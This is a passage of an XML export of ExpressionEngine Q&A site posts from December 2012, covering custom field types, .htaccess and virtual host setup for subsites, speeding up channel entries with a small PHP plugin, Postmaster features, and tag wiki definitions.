  <row Id="1763" PostTypeId="1" AcceptedAnswerId="1764" CreationDate="2012-12-17T21:53:17.697" Score="4" ViewCount="163" Body="&lt;p&gt;One of my main use cases for Matrix is when I need to manage a non-finite list of things related to an entry (e.g. translation links for articles may trickle in over time, and there's no pre-defined list of sources of them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes Matrix feels like overkill, so I'm wondering what other folks use for this purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone mentioned Pixel &amp;amp; Tonic's List, which is a good one for my translation links use case; it's available in their Dive Bar: &lt;a href=&quot;http://pixelandtonic.com/divebar&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/divebar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another common use case is images: how do you allow users to add a non-finite set of images to an entry?&lt;/p&gt;&#xA;" OwnerUserId="453" LastEditorUserId="453" LastEditDate="2012-12-17T22:18:04.093" LastActivityDate="2013-02-21T05:29:12.613" Title="Are there any custom field types, besides Matrix, that allow you to create an updatable, non-finite list of things?" Tags="|custom-fields|matrix|fieldtype|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1764" PostTypeId="2" ParentId="1763" CreationDate="2012-12-17T22:14:18.293" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/grid-lite&quot; rel=&quot;nofollow&quot;&gt;Grid Lite&lt;/a&gt; is pretty similar to Matrix, and free. So if you're using matrix solely for translation links, this seems perfect. &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-17T22:14:18.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1765" PostTypeId="1" CreationDate="2012-12-17T22:34:00.133" Score="2" ViewCount="148" Body="&lt;p&gt;I have a full EE2 site at domain.com. The problem I am running into is, I would like to have a separate non-EE managed site at something.domain.com and/or domain.com/something. It seems as though EE2 always takes over the URI, and my knowledge of .htaccess re-writing is limited. Is there a simple way to specify a directory that EE2 should not have control over?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;&#xA;    AddType video/webm .webm&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /~domain/index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="634" LastEditorUserId="268" LastEditDate="2012-12-18T00:53:50.800" LastActivityDate="2012-12-18T14:48:00.747" Title="Static directory / subsite not managed by EE" Tags="|url|subdomain|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1766" PostTypeId="1" AcceptedAnswerId="1776" CreationDate="2012-12-17T22:43:50.547" Score="18" ViewCount="3011" Body="&lt;p&gt;Setup:  We have a call that pulls 50 entires from channel entries. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;posts&quot;  orderby=&quot;entry_id&quot; limit=&quot;50&quot; dynamic=&quot;no&quot; disable=&quot;categories|category_fields&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This call takes on avg 700ms. When our traffic has around 50 users concurrent (from a load test), these calls can take upwards of 10 seconds each.  It used to take up to 150 seconds but we picked up the if else plugin to bypass how ee deals with your advanced conditionals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we switch our call to a sql it takes on avg .1ms. And stays under 1sec during high load. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT field_id_35, field_id_39, field_id_40, field_id_41 field_id_ FROM exp_channel_data WHERE channel_id = '9'  ORDER BY entry_id DESC LIMIT 50&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a way to use channel entires but completely bypass all of&#xA;the parsing? Like a parsing off switch/hook?  &lt;/li&gt;&#xA;&lt;li&gt;Does anyone know of a way to completely bypass ee/ci's channel entries parsing?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Possibly a plugin to completely replace channel entires? &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks everyone&lt;/p&gt;&#xA;" OwnerUserId="635" LastEditorUserId="635" LastEditDate="2012-12-18T18:52:36.150" LastActivityDate="2012-12-21T16:34:55.583" Title="Ways to speed up Channel Entries" Tags="|channel-entries|performance|optimization|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1767" PostTypeId="2" ParentId="1766" CreationDate="2012-12-17T22:48:11.253" Score="3" Body="&lt;p&gt;I wouldn't necessarily go that route first. I would try to cache the templates using CE Cache. &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-cache&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's pretty much the standard caching add-on everyone uses, and works very well. Before altering the logic, I would try to cache the templates (provided you don't need truly &quot;real-time&quot; data).&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-17T22:48:11.253" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1768" PostTypeId="2" ParentId="1729" CreationDate="2012-12-17T22:54:29.517" Score="1" Body="&lt;p&gt;You could use a small plugin to make them all fit &lt;a href=&quot;http://fitvidsjs.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2012-12-17T22:54:29.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1769" PostTypeId="2" ParentId="1726" CreationDate="2012-12-17T22:58:14.470" Score="2" Body="&lt;p&gt;I seem to remember somewhere that minimee wont work correctly if the css isn't valid. Can you check and see if the css validates? It might be that the minimee wont fire without it.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2012-12-17T22:58:14.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1770" PostTypeId="1" AcceptedAnswerId="1775" CreationDate="2012-12-17T23:18:42.917" Score="3" ViewCount="126" Body="&lt;p&gt;Is it possible to make Postmaster update an entry's custom field after it sends an email? I've got a custom field called 'Email Sent' and it'd be nice to stick a 'yes' in there for peace of mind once the email had gone out.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-03-05T12:55:46.307" Title="Can Postmaster update custom fields after sending emails?" Tags="|add-on|custom-fields|postmaster|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1771" PostTypeId="2" ParentId="1765" CreationDate="2012-12-17T23:19:20.087" Score="1" Body="&lt;p&gt;htaccess can be directory specific so I'd be inclined to add a separate htaccess file for that directory and have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine off&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2012-12-17T23:19:20.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1772" PostTypeId="2" ParentId="1766" CreationDate="2012-12-17T23:59:33.947" Score="7" Body="&lt;p&gt;The first thing you should try is adding some disable parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;curated_posts&quot; orderby=&quot;entry_id&quot; limit=&quot;50&quot; dynamic=&quot;no&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put this in a template on its own and try to measure how long it takes to load. Then check if it is significantly more in your actual template. Perhaps you are using inefficient code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to bypass the channel entries tag completely then you can try Chris Imrie's &lt;a href=&quot;https://github.com/ckimrie/ee-data-api&quot;&gt;ExpressionEngine Data API&lt;/a&gt; - a drop in channel and entry data REST API. It is actually a separate CodeIgniter App so should run really fast but will return either XML or JSON. Since you are preprocessing the data this may be ok for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try Eric Lamb's &lt;a href=&quot;http://mithra62.com/projects/view/export-it&quot;&gt;Export It&lt;/a&gt; add-on which has a similar channel entries REST API.&lt;/p&gt;&#xA;" OwnerUserId="194" LastActivityDate="2012-12-17T23:59:33.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1773" PostTypeId="2" ParentId="1751" CreationDate="2012-12-18T00:40:40.453" Score="1" Body="&lt;p&gt;This will most likely involve building a custom PHP script to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first part of the script would do the audit to compile a list of all files currently in use in the various fields. You'd need to tell the script which columns hold the image data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second part of the script would run each file name against that list and delete the file from the filesystem if it's not present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the script has run, you should purge your CE Image cache directory to remove all unused files. CE Image will regenerate newly re-sized files as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Back up the database and all files before starting this process.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't able to write such a script yourself, there are many talented developers in the EE community who can. I have someone to suggest if needed.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-18T00:40:40.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1774" PostTypeId="2" ParentId="1765" CreationDate="2012-12-18T00:47:14.120" Score="0" Body="&lt;p&gt;If you are trying to use a subdomain for a different directory on the server to run a different set of content, then it seems to me you should be working on your virtual host settings and not .htaccess.  I read your question to mean that you have an EE site at domain.com and you want a different site at subdomain.domain.com.  That is something you would set up in virtual host settings.  Requests to subdomain.domain.com should go into one virtual host and requests for domain.com should go in another.  I would guess that your virtual host config currently looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost xxx.xxx.xxx.xxx:80&amp;gt;&#xA;DocumentRoot /path/to/document/root&#xA;ServerName domain.com&#xA;ServerAlias *.domain.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that ServerAlias is grabbing all traffic to all subdomains of domain.com, but most probably if you added another virtual host listening on 80 with ServerName subdomain.domain.com and a DocumentRoot pointing to wherever you want to put your files for this other site, your subdomain will now work for these other files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have them in a subfolder, then the rewrite rule should not be touching them if the request if for a directory or filename that actually exists on the server.  Your rewrite rule says only rewrite if this request is not an image file, is not a request for an actual existing filename, and is not a request for an actual existing directory.  So if you have a folder in Document Root named /subfolder and in subfolder you have a file called index.html them a request to domain.com/subfolder/index.html really should load the file that is actually there.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-12-18T00:52:51.877" LastActivityDate="2012-12-18T00:52:51.877" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1775" PostTypeId="2" ParentId="1770" CreationDate="2012-12-18T01:32:58.040" Score="6" Body="&lt;p&gt;That's a great idea. Currently there are no hooks or settings in place to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could also see a setting in place to store the number of times an email has been sent (for re-occurring emails). That way, you could say do not send after X times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will add this to the list of features to implement. If you need this immediately, I am available for an hourly rate of course. Email support[at]objectivehtml.com if you need such services.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-18T01:32:58.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1776" PostTypeId="2" ParentId="1766" CreationDate="2012-12-18T01:38:05.557" Score="21" Body="&lt;p&gt;Unfortunately the {exp:channel:entries} tag is fairly heavy (even if it is useful!). If you look at the code, the main function is over 1,000 lines and there are several additional functions which are called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a view of what is happening to the database, enable the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html#display-output-profiler&quot;&gt;Output Profiler&lt;/a&gt;. I assume that you know where it is, but for the sake of others this can be found under Admin -&gt; System Administration -&gt; Output and Debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now duplicate your {exp:channel:entries} template tag and &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#sort&quot;&gt;sort one ASC and the other DESC&lt;/a&gt;. Reload the page and you should see 4 SQL queries per tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that you know at least a little SQL. Do you see how EE is performing one query to select the entry_ids it should display, and then another query to retrieve the actual results? This is related to the pagination code, except that it happens even if you disable pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the name of raw speed, you will be better off with a straight SQL query. If you want to make it EE-friendly, you can write a small plugin that only retrieves the standard and custom fields for the channel. That will cut down your requests by at least one SQL query, and you can control the optimization better than EE does. Here is a minimal plugin that does roughly the same thing as your SQL query above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!defined('BASEPATH')) { exit('No direct script access allowed.'); }&#xA;$plugin_info = array(&#xA;    'pi_name' =&amp;gt; 'Faster Entries',&#xA;    'pi_version' =&amp;gt; 0.1,&#xA;    'pi_author' =&amp;gt; 'Your Name Here',&#xA;    'pi_author_url' =&amp;gt; 'http://your-domain-here.com',&#xA;    'pi_description' =&amp;gt; 'Load channel entries faster',&#xA;    'pi_usage' =&amp;gt; Faster_entries::usage()&#xA;);&#xA;&#xA;class Faster_entries {&#xA;    function __construct() {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;        $limit = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('limit', 50);&#xA;        $channel = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('channel', 9);&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;from('channel_titles ct');&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;join('channel_data cd', 'cd.entry_id = ct.entry_id');&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('ct.channel_id', $channel);&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;order_by('ct.entry_id');&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;limit($limit);&#xA;        $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get();&#xA;&#xA;        $this-&amp;gt;return_data = '';&#xA;        if ($query-&amp;gt;num_rows()) {&#xA;            foreach ($query-&amp;gt;result_array() as $row) {&#xA;                $this-&amp;gt;return_data .= $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;var_swap($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $row);&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    public static function usage() {&#xA;        ob_start(); ?&amp;gt;&#xA;        {exp:faster_entries channel=&quot;9&quot; limit=&quot;50&quot;}{title}&amp;lt;br /&amp;gt;{/exp:faster_entries}&#xA;        &amp;lt;?php&#xA;        return ob_get_clean();&#xA;    }&#xA;}&#xA;&#xA;/* End of file pi.faster_entries.php */&#xA;/* Location: ./system/expressionengine/third_party/faster_entries/pi.faster_entries.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then comes the best part. You can add in the site lookup when dealing with MSM sites, or you can leave that out. You could perform another database query to retrieve the custom field names (caching them in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/session.html#cache-array&quot;&gt;Session class&lt;/a&gt;, of course). It's all up to you and the templates continue to look clean.&lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="460" LastEditDate="2012-12-19T02:48:07.297" LastActivityDate="2012-12-19T02:48:07.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1777" PostTypeId="2" ParentId="1761" CreationDate="2012-12-18T02:00:40.897" Score="1" Body="&lt;p&gt;Cartthrob supports price modifiers. The website is offline as I write this, but they may do what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, some of your numbers look like the prices are not standardized (ie. Medium is not always +$20 over Small, nor is Color A always $6 more than Color C). You may end up having to use the CartThrob hooks to modify the prices as items are added to the cart. With this option, the sky is the limit on your possibilities -- but it will take more thought and a little knowledge of PHP.&lt;/p&gt;&#xA;" OwnerUserId="460" LastActivityDate="2012-12-18T02:00:40.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1778" PostTypeId="5" CreationDate="2012-12-18T04:28:38.460" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T04:28:38.460" LastActivityDate="2012-12-18T04:28:38.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1779" PostTypeId="4" CreationDate="2012-12-18T04:28:38.460" Score="0" Body="The process of identifying and fixing bugs in code." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-18T08:46:14.827" LastActivityDate="2012-12-18T08:46:14.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1780" PostTypeId="5" CreationDate="2012-12-18T04:30:42.310" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T04:30:42.310" LastActivityDate="2012-12-18T04:30:42.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1781" PostTypeId="4" CreationDate="2012-12-18T04:30:42.310" Score="0" Body="The process of uploading files to the server from within ExpressionEngine using native functionality or addons." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-18T08:47:12.050" LastActivityDate="2012-12-18T08:47:12.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1782" PostTypeId="5" CreationDate="2012-12-18T04:37:20.603" Score="0" Body="&lt;p&gt;File Manager is the area in the ExpressionEngine control panel where files can be uploaded, deleted, searched and managed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page includes the following information regarding each file:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The ID number for the file.&lt;/li&gt;&#xA;&lt;li&gt;The title of the file.&lt;/li&gt;&#xA;&lt;li&gt;The file name in the file system.&lt;/li&gt;&#xA;&lt;li&gt;The kind of the file, for example, image/png, application/pdf, or text/html.&lt;/li&gt;&#xA;&lt;li&gt;The name of the upload directory where the file resides.&lt;/li&gt;&#xA;&lt;li&gt;The date the file was uploaded.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also edit metadata and manipulation images (crop, rotate or resize) from this page.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-18T08:45:36.950" LastActivityDate="2012-12-18T08:45:36.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1783" PostTypeId="4" CreationDate="2012-12-18T04:37:20.603" Score="0" Body="File Manager is the area in the ExpressionEngine control panel where files can be uploaded, deleted, searched and managed." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-18T08:45:58.667" LastActivityDate="2012-12-18T08:45:58.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1784" PostTypeId="5" CreationDate="2012-12-18T04:40:52.670" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T04:40:52.670" LastActivityDate="2012-12-18T04:40:52.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1785" PostTypeId="4" CreationDate="2012-12-18T04:40:52.670" Score="0" Body="WYGWAM is a custom fieldtype built by Pixel &amp; Tonic which adds WYSIWYG editing capabilities to textarea fields using CKEditor." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-18T08:47:06.713" LastActivityDate="2012-12-18T08:47:06.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1786" PostTypeId="5" CreationDate="2012-12-18T04:43:11.837" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T04:43:11.837" LastActivityDate="2012-12-18T04:43:11.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1787" PostTypeId="4" CreationDate="2012-12-18T04:43:11.837" Score="0" Body="Vimeo is a U.S.-based video-sharing website where users can upload, share and view videos." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-18T13:39:42.623" LastActivityDate="2012-12-18T13:39:42.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1788" PostTypeId="5" CreationDate="2012-12-18T04:52:41.210" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T04:52:41.210" LastActivityDate="2012-12-18T04:52:41.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1789" PostTypeId="4" CreationDate="2012-12-18T04:52:41.210" Score="0" Body="The process of making something as fully perfect, functional or effective as possible." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-18T08:45:29.227" LastActivityDate="2012-12-18T08:45:29.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1790" PostTypeId="2" ParentId="1736" CreationDate="2012-12-18T05:06:51.717" Score="2" Body="&lt;p&gt;As you all suspected it was an ISP issue. They took our server offline for a few hours last night and have resolved the issue. I have pushed them twice to provide a detailed answer about the issue in a hope to post it here in order to help others that might experience this problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the best I could get out of them:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I've checked the details with our senior technicians, and as per their&#xA;  update, the issue has been resolved now. As updated in the network&#xA;  status page, we had experienced an intermittent connectivity to some&#xA;  websites on linux shared hosting. As it is a shared server, I'm sorry&#xA;  to say that, we are unable to provide you more details because of&#xA;  security reasons. I can confirm that the issue has now fully resolved.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Very non-specific, sorry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you to everyone that took the time to make suggestions about what we could do to try an solve it ourselves.&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2012-12-18T05:06:51.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1791" PostTypeId="5" CreationDate="2012-12-18T05:14:40.473" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T05:14:40.473" LastActivityDate="2012-12-18T05:14:40.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1792" PostTypeId="4" CreationDate="2012-12-18T05:14:40.473" Score="0" Body="PHP is an open source general-purpose server-side scripting language." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-18T13:39:08.823" LastActivityDate="2012-12-18T13:39:08.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1793" PostTypeId="5" CreationDate="2012-12-18T05:17:53.323" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T05:17:53.323" LastActivityDate="2012-12-18T05:17:53.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1794" PostTypeId="4" CreationDate="2012-12-18T05:17:53.323" Score="0" Body="Export is for questions related to extracting data from the ExpressionEngine database." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-18T08:47:29.913" LastActivityDate="2012-12-18T08:47:29.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1795" PostTypeId="5" CreationDate="2012-12-18T05:18:39.937" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T05:18:39.937" LastActivityDate="2012-12-18T05:18:39.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1796" PostTypeId="4" CreationDate="2012-12-18T05:18:39.937" Score="0" Body="Import is for questions related to inserting data into the ExpressionEngine database." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-18T08:46:04.047" LastActivityDate="2012-12-18T08:46:04.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1797" PostTypeId="5" CreationDate="2012-12-18T05:19:45.053" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-18T05:19:45.053" LastActivityDate="2012-12-18T05:19:45.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1798" PostTypeId="4" CreationDate="2012-12-18T05:19:45.053" Score="0" Body="For questions about implementing/coding a specific task/functionality." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-18T13:39:32.867" LastActivityDate="2012-12-18T13:39:32.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1799" PostTypeId="5" CreationDate="2012-12-18T05:20:28.467" Score="0" Body="&lt;p&gt;In ExpressionEngine, a template is effectively taking the place of a page on a site and when rendered displays content from modules and plugins. Whenever a page is requested within an ExpressionEngine site, the system calls the Template class to discover which template is being requested and then does all of the parsing and processing required for rendering the template. This processing includes the embedding of other templates, tag and template caching, PHP processing, and it performs the calling of modules and plugins when their tags are found in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/template.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2014-01-21T19:52:14.860" LastActivityDate="2014-01-21T19:52:14.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1800" PostTypeId="4" CreationDate="2012-12-18T05:20:28.467" Score="0" Body="Questions related to the ExpressionEngine &quot;templating&quot; system." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-20T18:23:39.540" LastActivityDate="2012-12-20T18:23:39.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1801" PostTypeId="5" CreationDate="2012-12-18T05:21:26.470" Score="0" Body="&lt;p&gt;Snippets are small bits of reusable template or tag parts. You could create a Snippet for any number of purposes, anywhere that you need to reuse a small portion of a template, including partial or complete tags, other variables, etc. Snippets add flexibility and reusability, while making it simple to make site-wide changes by editing the Snippet’s source instead of having to modify many templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.expressionengine.com/v2/templates/globals/snippets.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.expressionengine.com/v2/templates/globals/snippets.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have been renamed Template Partials since ExpressionEngine version 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.expressionengine.com/latest/templates/globals/template_partials.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.expressionengine.com/latest/templates/globals/template_partials.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="7859" LastEditDate="2019-01-13T18:57:30.023" LastActivityDate="2019-01-13T18:57:30.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1802" PostTypeId="4" CreationDate="2012-12-18T05:21:26.470" Score="0" Body="Snippets are small bits of reusable template or tag parts in ExpressionEngine 2, renamed Template Partials in later versions." OwnerUserId="28" LastEditorUserId="22" LastEditDate="2019-01-13T18:57:23.583" LastActivityDate="2019-01-13T18:57:23.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1803" PostTypeId="2" ParentId="1740" CreationDate="2012-12-18T05:26:35.043" Score="3" Body="&lt;p&gt;I think this question is a little vague, you need to clarify what exactly you are trying to do. I'd also question whether EE makes a good backend for any sort of mobile app, you are probably better off writing your own backend app directly in PHP, or looking at something like &lt;a href=&quot;https://www.parse.com/&quot; rel=&quot;nofollow&quot;&gt;Parse&lt;/a&gt;, however, I digress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The principles are simple enough. This has already been done by &lt;a href=&quot;http://hellomountee.com/&quot; rel=&quot;nofollow&quot;&gt;Mountee&lt;/a&gt;, for example. To log in to EE from a native app, there are three steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generate an XID (just request the login page, and parse the response to get an XID value). If you create your own PHP login script you can avoid this requirement.&lt;/li&gt;&#xA;&lt;li&gt;Submit the login form&lt;/li&gt;&#xA;&lt;li&gt;Record the session cookie in your app and use it for future requests&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As far as actually creating new members in the database - it is best to use the built in EE functions as much as possible for this. The EE member API is a bit of a minefield, and wasn't written with re-use in mind. However, with some tricks it is possible to call the functions and avoid any issues which may arise from changes to the database schema in future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best starting point is probably to take a look at the open source &lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;Freemember&lt;/a&gt; plugin, which allows you to create front-end member registration &amp;amp; login forms. You could also use its library which abstracts the process of registering new members.&lt;/p&gt;&#xA;" 